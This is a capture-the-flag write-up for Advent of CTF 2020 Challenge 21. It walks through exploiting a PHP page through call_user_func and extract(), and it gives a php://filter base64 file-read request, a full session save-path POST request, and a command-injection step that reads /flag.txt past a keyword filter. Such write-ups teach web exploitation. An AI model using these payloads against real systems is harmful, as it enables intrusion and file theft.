Write-Up Advent of CTF 2020 Challenge 21
Overview
The NOVI University Of Applied Sciences is offering an Advent CTF challenge for December 2020.
The CTF is created by our community member of the Hackdewereld.nl and Chief Lecturer for Cyber Security at the NOVI University, Arjen Wiersma. If you want to participate in these CTF challenges, you can create an account on the website https://www.adventofctf.com
.
Challenge 21
- Description: We are testing a new mechanism to filter out malicious content from URLs. This application is the test page for this feature. I hope it works, these hackers are very active!
- 2100 Points
Let’s start this challenge. We visit the challenge URL https://21.adventofctf.com
, and we got redirected to this web page.
There is a PHP-script visible on this web page, with a possibility to enter our name. At the top of the window (not visible on the screenshot), there is a message: Are you worthy?
.
Let’s analyze this PHP-script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('open_basedir', '/var/www/html:/tmp');
# Make sure no evil things are passed in the URL
$file = 'filters.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
# Save the name for later
session_start();
if ($_POST["name"]){
$_SESSION["name"] = $_POST["name"];
}
header("Location: /index.php");
exit();
?>
First, the script is setting the open_basedir
to /var/www/html:/tmp
. This feature prevents us from opening files outside our home folder. We can see that this script is using the $_GET['function']
. This function is setting the parameter from the URL and is quite interesting. This allows us to call PHP-functions through the URL. This script is using the callback function call_user_func
and then calls the include()
function to include the $file
.
So, we can call functions from the URL bar and the include($file)
function is introducing a possibility to do a Local File Inclusion (LFI). At least, we can control the $_POST["name"]
.
Along the way, the creator of this CTF had posted a hint on Twitter.
A hint for today's challenge: take a look at what the extract function can do.
— adventofctf (@adventofctf) December 21, 2020
Let’s use Burp Suite and try to solve the challenge with Burp, and use the extract
function. After some developing and trying, I came up with this GET
request
GET /get_flag.php?function=extract&file=php://filter/read=convert.base64-encode/resource=filters.php HTTP/1.1
The webserver is returning the requested webpage in Base64 encoding. After decoding this response, we can read the contents of the file filters.php
. This file is showing us some information, But I’m not sure if this information is going to help me with anything.
1
2
3
4
5
6
7
8
9
<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Santa does not like hackers!');
}
}
}
?>
We need to get to the flag, but the flag is outside of our current path. As we know, we can control the $_SESSION['name'] = $_POST['name']
. But, from this point, I got a little bit stuck and decide to search on the internet for the possible next step, and found a Chinese write-up from almost the same CTF: https://xz.aliyun.com/t/3174. I decided to give it a shot and we see, that we can change the session save path to our current directory. So, let’s do so. with this payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /get_flag.php?function=session_start&save_path=. HTTP/1.1
Host: 21.adventofctf.com
Connection: close
Content-Length: 9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://21.adventofctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,<em>/</em>;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://21.adventofctf.com/
Accept-Encoding: gzip, deflate
Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7
name=6e543c4c29512ae7de96dda93806044b
Ok, we have now changed the save location of the current session. The next step is to override the file variable to include our session file. Second, we can try to grab the flag to store the command cat /flag.txt
in the variable through the URL parameters. In the name
parameter, we can leverage the system call to execute the command to read the flag.
The flag: NOVI{extract_1s_ev1l_on_us3r_inpu7}
.
Thanks for reading!